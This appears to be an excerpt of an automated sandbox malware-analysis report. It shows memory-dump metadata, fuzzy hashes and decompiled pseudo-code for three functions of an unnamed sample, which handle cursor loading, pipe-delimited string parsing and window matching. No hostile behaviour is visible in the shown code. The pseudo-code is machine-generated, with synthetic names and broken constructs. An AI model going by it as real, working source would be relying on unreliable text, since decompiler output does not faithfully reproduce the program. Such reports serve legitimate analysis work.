                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CursorLoad
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3238433803-0
                                                                                                                                                                            • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                            • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                                                                                                                                                                            • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                            • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00466999 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 312COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 85%
                                                                                                                                                                            			E00466999(void* __eflags, void* __fp0, intOrPtr* _a4, char _a8, intOrPtr _a12, char _a16, char _a20, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, char _a44, char _a48, char _a60, char _a64, char _a80, char _a84, char _a92, short* _a100, short* _a104, char* _a108, intOrPtr _a112, char* _a124, char* _a128, signed int _a132, char _a160, char _a168, short _a680, char _a692, char _a696, short _a66226, char _a66228, char _a66232, char _a66234) {
				char _v0;
				char _v4;
				char _v20;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t146;
				intOrPtr _t154;
				signed int _t165;
				short* _t169;
				signed int _t171;
				short* _t192;
				char _t198;
				char _t214;
				intOrPtr* _t229;
				void* _t263;
				void* _t267;
				char _t268;
				intOrPtr _t274;
				char _t277;
				signed int _t278;
				signed int _t283;
				void* _t288;
				void* _t289;
				void* _t290;
				void* _t291;
				void* _t292;
				void* _t322;

				_t322 = __fp0;
				_t292 = __eflags;
				E00425210(0x302bc);
				_push(_t263);
				_a66232 = 0;
				E004131F0(_t263,  &_a66234, 0, 0x1fffe);
				E0040C060( &_v0, _t292);
				E0040C060( &_a64, _t292);
				E0040C060( &_a48, _t292);
				E0040C060( &_a20, _t292);
				_a16 = 0;
				E0040E6D0(_a12, _t292);
				_t214 = _a8;
				E0041326A( &_a692, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4))))), 0x7fff);
				_a66226 = 0;
				E0041326A( &_a160, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 4))), 0x104);
				_t252 =  *((intOrPtr*)(_t214 + 4));
				_a680 = 0;
				_t277 = E0040FFF0(_t214, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 8))), _t292);
				_a32 = _t277;
				 *((short*)(_t277 + E0045302E( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 8))) * 2)) = 0;
				_t146 = E004142A3(0, _t292, _t277, "|");
				_t288 = (_t283 & 0xfffffff8) + 0x2c;
				if(_t146 == 0) {
					L5:
					E0040D330( &_v0, _t214, "|", _t322);
					_t267 = 1;
					_t298 = _a4 - 1;
					if(_a4 > 1) {
						do {
							_t192 = E00401BE0(_t267,  &_v0, _t298);
							_t299 =  *_t192 - 0x7c;
							if( *_t192 == 0x7c) {
								 *((short*)(E00401BE0(_t267,  &_v0, _t299))) = 0;
							}
							_t267 = _t267 + 1;
							_t301 = _t267 - _a4;
						} while (_t267 < _a4);
						_t277 = _a44;
					}
					E004112EF(_t214, _t252, _t267, _t277, _t301, _t277);
					_t268 = _a16;
					_t289 = _t288 + 4;
					if(_t268 >= 6) {
						_a12 = E0044B390( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 0x14)));
					}
					if(_t268 < 5) {
						__eflags = 0;
						_a66232 = 0;
					} else {
						E00411691( &_a66228, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 0x10))));
						_t289 = _t289 + 8;
					}
					E004131F0(_t268,  &_a80, 0, 0x58);
					_a84 = _a16;
					_a92 = _v0;
					_t290 = _t289 + 0xc;
					_t278 = 0;
					_a80 = 0x58;
					_a128 =  &_a696;
					_a112 = 0xffff;
					_a108 =  &_a66232;
					_a124 =  &_a168;
					if(_t268 < 4 || E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 0xc))) > 0x1f || E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 0xc))) < 0) {
						_a132 = 0x80004;
					} else {
						_t278 = 0x80004;
						if((E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 0xc))) & 0x00000010) != 0) {
							_t278 = 0x80006;
						}
						if((E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 0xc))) & 0x00000008) != 0) {
							_t278 = _t278 | 0x00002000;
						}
						if((E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 0xc))) & 0x00000004) != 0) {
							_t278 = _t278 | 0x00000200;
						}
						if((E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 0xc))) & 0x00000002) != 0) {
							_t278 = _t278 | 0x00000800;
						}
						if((E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t214 + 4)) + 0xc))) & 0x00000001) != 0) {
							_t278 = _t278 | 0x00001000;
						}
						_a132 = _t278;
					}
					_push( &_a80);
					if(_a20 == 0) {
						__eflags =  *0x4820bc();
						if(__eflags == 0) {
							_push(0);
							_push(1);
							goto L42;
						} else {
							goto L40;
						}
					} else {
						if( *0x4820c0() == 0) {
							_t229 = _a4;
							_t154 =  *((intOrPtr*)( *_t229 + 4));
							_push(0);
							_push(1);
							goto L43;
						} else {
							if((_t278 & 0x00000200) == 0) {
								L40:
								E0040E6D0(_a12, __eflags);
							} else {
								_t165 = E004112D5(_a104);
								_t291 = _t290 + 4;
								E004021E0( &_a44, _t214, _a104, _a104);
								_t169 = _a100 + 2 + _t165 * 2;
								_a100 = _t169;
								while( *_t169 != 0) {
									_t171 = E004112D5(_t169);
									_t291 = _t291 + 4;
									E0040D330( &_a44, _t214, "|", _t322);
									E0040D330( &_a44, _t214, _a104, _t322);
									_t169 = _a104 + 2 + _t171 * 2;
									_a104 = _t169;
									_t320 =  *_t169;
								}
								E0040E6D0(_a12, _t320);
							}
						}
					}
				} else {
					while(1) {
						E004021E0( &_a20, _t214, _t252, _t146);
						_t274 = E00434B96( &_a16, "(");
						_a28 = _t274;
						_t198 = E00434B96( &_a8, ")");
						_a16 = _t198;
						if(_t274 == 0xffffffff || _t198 == 0xffffffff) {
							break;
						}
						_t296 = _t198 - _t274;
						if(_t198 < _t274) {
							break;
						} else {
							E0040C140( &_v0, _t322,  &_a20);
							E0040D330( &_v4, _t214, "|", _t322);
							_t252 =  &_a16;
							E004608CE( &_a60,  &_a16, _a36 + 1, _a32 - _a36 - 1);
							E0040C140( &_v20, _t322,  &_a44);
							E0040D330( &_v24, _t214, "|", _t322);
							_t146 = E004142A3( &_a44, _t296, 0, "|");
							_t288 = _t288 + 8;
							if(_t146 != 0) {
								continue;
							} else {
								goto L5;
							}
						}
						goto L44;
					}
					_push(0);
					_push(2);
					L42:
					_t229 = _a4;
					_t154 =  *((intOrPtr*)( *_t229 + 4));
					L43:
					__eflags = _t154 + _t229;
					E004040E0(_t154 + _t229);
				}
				L44:
				E00402620( &_a16);
				E00402620( &_a44);
				E00402620( &_a60);
				E00402620( &_v4);
				return 0;
			}

































                                                                                                                                                                            0x00466999
                                                                                                                                                                            0x00466999
                                                                                                                                                                            0x004669a4
                                                                                                                                                                            0x004669ab
                                                                                                                                                                            0x004669bc
                                                                                                                                                                            0x004669c4
                                                                                                                                                                            0x004669d0
                                                                                                                                                                            0x004669d9
                                                                                                                                                                            0x004669e2
                                                                                                                                                                            0x004669eb
                                                                                                                                                                            0x004669f8
                                                                                                                                                                            0x00466a00
                                                                                                                                                                            0x00466a05
                                                                                                                                                                            0x00466a21
                                                                                                                                                                            0x00466a2e
                                                                                                                                                                            0x00466a4d
                                                                                                                                                                            0x00466a52
                                                                                                                                                                            0x00466a57
                                                                                                                                                                            0x00466a72
                                                                                                                                                                            0x00466a7b
                                                                                                                                                                            0x00466a8c
                                                                                                                                                                            0x00466a90
                                                                                                                                                                            0x00466a95
                                                                                                                                                                            0x00466a9a
                                                                                                                                                                            0x00466b4f
                                                                                                                                                                            0x00466b58
                                                                                                                                                                            0x00466b5d
                                                                                                                                                                            0x00466b62
                                                                                                                                                                            0x00466b66
                                                                                                                                                                            0x00466b69
                                                                                                                                                                            0x00466b6d
                                                                                                                                                                            0x00466b72
                                                                                                                                                                            0x00466b76
                                                                                                                                                                            0x00466b7f
                                                                                                                                                                            0x00466b7f
                                                                                                                                                                            0x00466b82
                                                                                                                                                                            0x00466b83
                                                                                                                                                                            0x00466b83
                                                                                                                                                                            0x00466b89
                                                                                                                                                                            0x00466b89
                                                                                                                                                                            0x00466b8e
                                                                                                                                                                            0x00466b93
                                                                                                                                                                            0x00466b96
                                                                                                                                                                            0x00466b9c
                                                                                                                                                                            0x00466baa
                                                                                                                                                                            0x00466baa
                                                                                                                                                                            0x00466bb1
                                                                                                                                                                            0x00466bdb
                                                                                                                                                                            0x00466bdd
                                                                                                                                                                            0x00466bb3
                                                                                                                                                                            0x00466bc8
                                                                                                                                                                            0x00466bcd
                                                                                                                                                                            0x00466bcd
                                                                                                                                                                            0x00466bee
                                                                                                                                                                            0x00466bfb
                                                                                                                                                                            0x00466bff
                                                                                                                                                                            0x00466c03
                                                                                                                                                                            0x00466c1b
                                                                                                                                                                            0x00466c1d
                                                                                                                                                                            0x00466c25
                                                                                                                                                                            0x00466c2c
                                                                                                                                                                            0x00466c37
                                                                                                                                                                            0x00466c3b
                                                                                                                                                                            0x00466c45
                                                                                                                                                                            0x00466ce4
                                                                                                                                                                            0x00466c6e
                                                                                                                                                                            0x00466c74
                                                                                                                                                                            0x00466c80
                                                                                                                                                                            0x00466c82
                                                                                                                                                                            0x00466c82
                                                                                                                                                                            0x00466c94
                                                                                                                                                                            0x00466c96
                                                                                                                                                                            0x00466c96
                                                                                                                                                                            0x00466ca9
                                                                                                                                                                            0x00466cab
                                                                                                                                                                            0x00466cab
                                                                                                                                                                            0x00466cbe
                                                                                                                                                                            0x00466cc0
                                                                                                                                                                            0x00466cc0
                                                                                                                                                                            0x00466cd3
                                                                                                                                                                            0x00466cd5
                                                                                                                                                                            0x00466cd5
                                                                                                                                                                            0x00466cdb
                                                                                                                                                                            0x00466cdb
                                                                                                                                                                            0x00466cf7
                                                                                                                                                                            0x00466cf8
                                                                                                                                                                            0x00466da4
                                                                                                                                                                            0x00466da6
                                                                                                                                                                            0x00466db6
                                                                                                                                                                            0x00466db8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00466cfe
                                                                                                                                                                            0x00466d06
                                                                                                                                                                            0x00466d90
                                                                                                                                                                            0x00466d95
                                                                                                                                                                            0x00466d98
                                                                                                                                                                            0x00466d9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00466d0c
                                                                                                                                                                            0x00466d12
                                                                                                                                                                            0x00466da8
                                                                                                                                                                            0x00466daf
                                                                                                                                                                            0x00466d18
                                                                                                                                                                            0x00466d1d
                                                                                                                                                                            0x00466d2b
                                                                                                                                                                            0x00466d33
                                                                                                                                                                            0x00466d3c
                                                                                                                                                                            0x00466d40
                                                                                                                                                                            0x00466d48
                                                                                                                                                                            0x00466d4b
                                                                                                                                                                            0x00466d52
                                                                                                                                                                            0x00466d5e
                                                                                                                                                                            0x00466d6b
                                                                                                                                                                            0x00466d74
                                                                                                                                                                            0x00466d78
                                                                                                                                                                            0x00466d7c
                                                                                                                                                                            0x00466d7c
                                                                                                                                                                            0x00466d89
                                                                                                                                                                            0x00466d89
                                                                                                                                                                            0x00466d12
                                                                                                                                                                            0x00466d06
                                                                                                                                                                            0x00466aa0
                                                                                                                                                                            0x00466aa0
                                                                                                                                                                            0x00466aa5
                                                                                                                                                                            0x00466ab9
                                                                                                                                                                            0x00466ac5
                                                                                                                                                                            0x00466ac9
                                                                                                                                                                            0x00466ace
                                                                                                                                                                            0x00466ad5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00466ae4
                                                                                                                                                                            0x00466ae6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00466aec
                                                                                                                                                                            0x00466af5
                                                                                                                                                                            0x00466b03
                                                                                                                                                                            0x00466b16
                                                                                                                                                                            0x00466b20
                                                                                                                                                                            0x00466b2e
                                                                                                                                                                            0x00466b37
                                                                                                                                                                            0x00466b3f
                                                                                                                                                                            0x00466b44
                                                                                                                                                                            0x00466b49
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00466b49
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00466ae6
                                                                                                                                                                            0x00466bd2
                                                                                                                                                                            0x00466bd4
                                                                                                                                                                            0x00466dba
                                                                                                                                                                            0x00466dba
                                                                                                                                                                            0x00466dbf
                                                                                                                                                                            0x00466dc2
                                                                                                                                                                            0x00466dc2
                                                                                                                                                                            0x00466dc4
                                                                                                                                                                            0x00466dc4
                                                                                                                                                                            0x00466dc9
                                                                                                                                                                            0x00466dcd
                                                                                                                                                                            0x00466dd6
                                                                                                                                                                            0x00466ddf
                                                                                                                                                                            0x00466de8
                                                                                                                                                                            0x00466df5

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcslen$_memset_wcscpy_wcsncpy_wcstok$__getptd
                                                                                                                                                                            • String ID: X$HH
                                                                                                                                                                            • API String ID: 3089742834-1944015008
                                                                                                                                                                            • Opcode ID: 44ce12c79cdcc2464d80d72b3801d08a80346703784ad91276fdadcc534ebcb2
                                                                                                                                                                            • Instruction ID: a4927f3182871fc14b8cfcfbdeecfc05aedc0290490a4e5168a192441a38e3fa
                                                                                                                                                                            • Opcode Fuzzy Hash: 44ce12c79cdcc2464d80d72b3801d08a80346703784ad91276fdadcc534ebcb2
                                                                                                                                                                            • Instruction Fuzzy Hash: 06C1B2716043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB5B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00460ABB Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 99%
                                                                                                                                                                            			E00460ABB(intOrPtr _a4, struct HWND__* _a8) {
				short _v2060;
				short _v2084;
				short _v2580;
				struct tagRECT _v2596;
				struct tagPOINT _v2604;
				long _v2608;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t120;
				signed char _t121;
				signed int _t134;
				signed int _t138;
				int _t139;
				signed int _t146;
				signed int _t150;
				signed int _t155;
				intOrPtr _t159;
				void* _t168;
				void* _t170;
				intOrPtr _t172;
				intOrPtr _t189;
				long _t203;
				signed int _t207;
				signed int _t215;
				struct HWND__* _t218;
				long _t222;
				void* _t223;
				signed int _t225;
				void* _t227;
				void* _t229;

				_t227 = (_t225 & 0xfffffff8) - 0xa2c;
				_t172 = _a4;
				_t120 =  *(_t172 + 0x88);
				_t207 = 0;
				_t215 = 0;
				_v2604.x = 0;
				_v2608 = 0;
				if((_t120 & 0x00000008) == 0) {
					__eflags = _t120 & 0x00000400;
					if((_t120 & 0x00000400) != 0) {
						_t212 = _t172 + 8;
						_t222 = E00437543(_t172 + 8, 0x202, _a8);
						__eflags = _t222;
						if(_t222 != 0) {
							_t150 = SendMessageTimeoutW(_a8,  *(_t172 + 4), 0x101, _t222, 2, 0x1388,  &_v2608);
							__eflags = _t150;
							if(_t150 != 0) {
								__eflags = _v2608;
								if(_v2608 > 0) {
									E00437472(_t212, _t222,  &_v2580, 0x202);
									_v2084 = 0;
									_t155 = E004133E4( &_v2596,  *((intOrPtr*)(_t172 + 0xac)));
									_t227 = _t227 + 8;
									__eflags = _t155;
									if(_t155 == 0) {
										_v2604.x = 1;
									}
								}
							}
							E004374EC(_t212, _t222);
						}
						_t207 = _v2604.x;
						_v2608 = 1;
						_t215 = _v2608;
					}
					__eflags =  *(_t172 + 0x88) & 0x00000010;
					if(__eflags != 0) {
						GetClassNameW(_a8,  &_v2060, 0x400);
						E00401B70(_t172,  &_v2060,  &_v2596, __eflags);
						E004602EB( &_v2060, _t172 + 0xec,  &_v2596);
						E00402620( &_v2604);
						_t146 = E0044CB6C(_t172 + 0xec);
						__eflags = _t146;
						if(_t146 != 0) {
							_t57 =  &_v2604;
							 *_t57 = _v2604.x + 1;
							__eflags =  *_t57;
						}
						_t59 =  &_v2608;
						 *_t59 = _v2608 + 1;
						__eflags =  *_t59;
						_t215 = _v2608;
						_t207 = _v2604.x;
					}
					_t121 =  *(_t172 + 0x88);
					__eflags = _t121 & 0x00000020;
					if((_t121 & 0x00000020) == 0) {
						__eflags = _t121 & 0x000000c0;
						if((_t121 & 0x000000c0) != 0) {
							L29:
							GetWindowRect(_a8,  &_v2596);
							_v2604.x = _v2596.left;
							_v2604.y = _v2596.top;
							ScreenToClient(GetParent(_a8),  &_v2604);
							_t121 =  *(_t172 + 0x88);
							__eflags = _t121 & 0x00000040;
							if((_t121 & 0x00000040) != 0) {
								__eflags =  *((intOrPtr*)(_t172 + 0xdc)) - _v2604.x;
								if( *((intOrPtr*)(_t172 + 0xdc)) == _v2604.x) {
									_t207 = _t207 + 1;
									__eflags = _t207;
								}
								_t215 = _t215 + 1;
								__eflags = _t215;
							}
							__eflags = _t121;
							if(_t121 < 0) {
								__eflags =  *((intOrPtr*)(_t172 + 0xe0)) - _v2604.y;
								if( *((intOrPtr*)(_t172 + 0xe0)) == _v2604.y) {
									_t207 = _t207 + 1;
									__eflags = _t207;
								}
								_t215 = _t215 + 1;
								__eflags = _t215;
							}
							__eflags = _t121 & 0x00000100;
							if((_t121 & 0x00000100) != 0) {
								__eflags =  *((intOrPtr*)(_t172 + 0xe4)) - _v2596.right - _v2596.left;
								if( *((intOrPtr*)(_t172 + 0xe4)) == _v2596.right - _v2596.left) {
									_t207 = _t207 + 1;
									__eflags = _t207;
								}
								_t215 = _t215 + 1;
								__eflags = _t215;
							}
							__eflags = _t121 & 0x00000200;
							if((_t121 & 0x00000200) != 0) {
								__eflags =  *((intOrPtr*)(_t172 + 0xe8)) - _v2596.bottom - _v2596.top;
								if( *((intOrPtr*)(_t172 + 0xe8)) == _v2596.bottom - _v2596.top) {
									_t207 = _t207 + 1;
									__eflags = _t207;
								}
								_t215 = _t215 + 1;
								__eflags = _t215;
							}
						} else {
							__eflags = _t121 & 0x00000300;
							if((_t121 & 0x00000300) != 0) {
								goto L29;
							}
						}
						__eflags = _t121 & 0x00000001;
						if((_t121 & 0x00000001) != 0) {
							GetClassNameW(_a8,  &_v2060, 0x100);
							_t138 = E004133E4( *((intOrPtr*)(_t172 + 0x8c)),  &_v2060);
							_t227 = _t227 + 8;
							__eflags = _t138;
							if(_t138 == 0) {
								_t207 = _t207 + 1;
								__eflags = _t207;
							}
							_t215 = _t215 + 1;
							__eflags = _t215;
						}
						__eflags =  *(_t172 + 0x88) & 0x00000004;
						if(( *(_t172 + 0x88) & 0x00000004) != 0) {
							GetWindowTextW(_a8,  &_v2060, 0x400);
							_t134 = E004133E4( *((intOrPtr*)(_t172 + 0xbc)),  &_v2060);
							__eflags = _t134;
							if(_t134 == 0) {
								_t207 = _t207 + 1;
								__eflags = _t207;
							}
							_t215 = _t215 + 1;
							__eflags = _t215;
						}
						__eflags =  *(_t172 + 0x88) & 0x00000002;
						if(( *(_t172 + 0x88) & 0x00000002) != 0) {
							__eflags = _t207 - _t215;
							if(_t207 == _t215) {
								 *((intOrPtr*)(_t172 + 0x130)) =  *((intOrPtr*)(_t172 + 0x130)) + 1;
								__eflags =  *((intOrPtr*)(_t172 + 0x130)) -  *((intOrPtr*)(_t172 + 0xd0));
								if( *((intOrPtr*)(_t172 + 0x130)) ==  *((intOrPtr*)(_t172 + 0xd0))) {
									_t207 = _t207 + 1;
									__eflags = _t207;
								}
							}
							_t215 = _t215 + 1;
							__eflags = _t215;
						}
						__eflags = _t207 - _t215;
						if(_t207 != _t215) {
							goto L60;
						} else {
							 *(_t172 + 0xd8) = _a8;
							__eflags = 0;
							return 0;
						}
					} else {
						_t218 = _a8;
						_t139 = GetDlgCtrlID(_t218);
						__eflags =  *((intOrPtr*)(_t172 + 0xcc)) - _t139;
						if( *((intOrPtr*)(_t172 + 0xcc)) != _t139) {
							goto L60;
						} else {
							 *(_t172 + 0xd8) = _t218;
							__eflags = 0;
							return 0;
						}
					}
				} else {
					_t188 = _a8;
					GetClassNameW(_a8,  &_v2580, 0x100);
					_t223 = E004112D5( &_v2580);
					_t203 = 0;
					_t229 = _t227 + 4;
					_v2604.x = 0;
					if(_t223 != 0) {
						_t11 = _t223 - 1; // -1
						_t207 = _t11;
						if(_t207 >= 0) {
							while(1) {
								_t170 = E0041349D(_t188,  *(_t229 + 0x28 + _t207 * 2) & 0x0000ffff);
								_t229 = _t229 + 4;
								_t207 = _t207 - 1;
								if(_t170 == 0) {
									break;
								}
								_v2604.x = _v2604.x + 1;
								if(_t207 >= 0) {
									continue;
								}
								break;
							}
							_t203 = _v2604.x;
						}
					}
					_t159 =  *((intOrPtr*)(_t172 + 0x134));
					if(_t159 <= _t223) {
						L60:
						return 1;
					} else {
						_t189 =  *((intOrPtr*)(_t172 + 0x138));
						if(_t189 <= _t203 || _t223 != _t159 - _t189 + _t203 || E00413503( *((intOrPtr*)(_t172 + 0x9c)),  &_v2580, _t223) != 0) {
							goto L60;
						} else {
							 *((intOrPtr*)(_t172 + 0x130)) =  *((intOrPtr*)(_t172 + 0x130)) + 1;
							_push( *((intOrPtr*)(_t172 + 0x130)));
							E0041353A( &_v2580, _t207, _t223,  &_v2060, L"%s%u",  &_v2580);
							_t168 = E004133E4( &_v2060,  *((intOrPtr*)(_t172 + 0x9c)));
							if(_t168 != 0) {
								goto L60;
							} else {
								 *(_t172 + 0xd8) = _a8;
								return _t168;
							}
						}
					}
				}
			}


































                                                                                                                                                                            0x00460ac1
                                                                                                                                                                            0x00460ac8
                                                                                                                                                                            0x00460acb
                                                                                                                                                                            0x00460ad3
                                                                                                                                                                            0x00460ad5
                                                                                                                                                                            0x00460ad7
                                                                                                                                                                            0x00460adb
                                                                                                                                                                            0x00460ae1
                                                                                                                                                                            0x00460bd4
                                                                                                                                                                            0x00460bd9
                                                                                                                                                                            0x00460be8
                                                                                                                                                                            0x00460bf1
                                                                                                                                                                            0x00460bf3
                                                                                                                                                                            0x00460bf5
                                                                                                                                                                            0x00460c11
                                                                                                                                                                            0x00460c17
                                                                                                                                                                            0x00460c19
                                                                                                                                                                            0x00460c1b
                                                                                                                                                                            0x00460c20
                                                                                                                                                                            0x00460c2e
                                                                                                                                                                            0x00460c41
                                                                                                                                                                            0x00460c49
                                                                                                                                                                            0x00460c4e
                                                                                                                                                                            0x00460c51
                                                                                                                                                                            0x00460c53
                                                                                                                                                                            0x00460c55
                                                                                                                                                                            0x00460c55
                                                                                                                                                                            0x00460c53
                                                                                                                                                                            0x00460c20
                                                                                                                                                                            0x00460c5f
                                                                                                                                                                            0x00460c5f
                                                                                                                                                                            0x00460c64
                                                                                                                                                                            0x00460c68
                                                                                                                                                                            0x00460c70
                                                                                                                                                                            0x00460c70
                                                                                                                                                                            0x00460c74
                                                                                                                                                                            0x00460c7b
                                                                                                                                                                            0x00460c8e
                                                                                                                                                                            0x00460c9f
                                                                                                                                                                            0x00460cb0
                                                                                                                                                                            0x00460cb9
                                                                                                                                                                            0x00460cbf
                                                                                                                                                                            0x00460cc4
                                                                                                                                                                            0x00460cc6
                                                                                                                                                                            0x00460cc8
                                                                                                                                                                            0x00460cc8
                                                                                                                                                                            0x00460cc8
                                                                                                                                                                            0x00460cc8
                                                                                                                                                                            0x00460ccc
                                                                                                                                                                            0x00460ccc
                                                                                                                                                                            0x00460ccc
                                                                                                                                                                            0x00460cd0
                                                                                                                                                                            0x00460cd4
                                                                                                                                                                            0x00460cd4
                                                                                                                                                                            0x00460cd8
                                                                                                                                                                            0x00460cde
                                                                                                                                                                            0x00460ce0
                                                                                                                                                                            0x00460d09
                                                                                                                                                                            0x00460d0b
                                                                                                                                                                            0x00460d18
                                                                                                                                                                            0x00460d21
                                                                                                                                                                            0x00460d33
                                                                                                                                                                            0x00460d3c
                                                                                                                                                                            0x00460d47
                                                                                                                                                                            0x00460d4d
                                                                                                                                                                            0x00460d53
                                                                                                                                                                            0x00460d55
                                                                                                                                                                            0x00460d5d
                                                                                                                                                                            0x00460d61
                                                                                                                                                                            0x00460d63
                                                                                                                                                                            0x00460d63
                                                                                                                                                                            0x00460d63
                                                                                                                                                                            0x00460d64
                                                                                                                                                                            0x00460d64
                                                                                                                                                                            0x00460d64
                                                                                                                                                                            0x00460d65
                                                                                                                                                                            0x00460d67
                                                                                                                                                                            0x00460d6f
                                                                                                                                                                            0x00460d73
                                                                                                                                                                            0x00460d75
                                                                                                                                                                            0x00460d75
                                                                                                                                                                            0x00460d75
                                                                                                                                                                            0x00460d76
                                                                                                                                                                            0x00460d76
                                                                                                                                                                            0x00460d76
                                                                                                                                                                            0x00460d77
                                                                                                                                                                            0x00460d7c
                                                                                                                                                                            0x00460d86
                                                                                                                                                                            0x00460d8c
                                                                                                                                                                            0x00460d8e
                                                                                                                                                                            0x00460d8e
                                                                                                                                                                            0x00460d8e
                                                                                                                                                                            0x00460d8f
                                                                                                                                                                            0x00460d8f
                                                                                                                                                                            0x00460d8f
                                                                                                                                                                            0x00460d90
                                                                                                                                                                            0x00460d95
                                                                                                                                                                            0x00460d9f
                                                                                                                                                                            0x00460da5
                                                                                                                                                                            0x00460da7
                                                                                                                                                                            0x00460da7
                                                                                                                                                                            0x00460da7
                                                                                                                                                                            0x00460da8
                                                                                                                                                                            0x00460da8
                                                                                                                                                                            0x00460da8
                                                                                                                                                                            0x00460d0d
                                                                                                                                                                            0x00460d0d
                                                                                                                                                                            0x00460d12
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460d12
                                                                                                                                                                            0x00460da9
                                                                                                                                                                            0x00460dab
                                                                                                                                                                            0x00460dbe
                                                                                                                                                                            0x00460dd3
                                                                                                                                                                            0x00460dd8
                                                                                                                                                                            0x00460ddb
                                                                                                                                                                            0x00460ddd
                                                                                                                                                                            0x00460ddf
                                                                                                                                                                            0x00460ddf
                                                                                                                                                                            0x00460ddf
                                                                                                                                                                            0x00460de0
                                                                                                                                                                            0x00460de0
                                                                                                                                                                            0x00460de0
                                                                                                                                                                            0x00460de1
                                                                                                                                                                            0x00460de8
                                                                                                                                                                            0x00460dfb
                                                                                                                                                                            0x00460e10
                                                                                                                                                                            0x00460e18
                                                                                                                                                                            0x00460e1a
                                                                                                                                                                            0x00460e1c
                                                                                                                                                                            0x00460e1c
                                                                                                                                                                            0x00460e1c
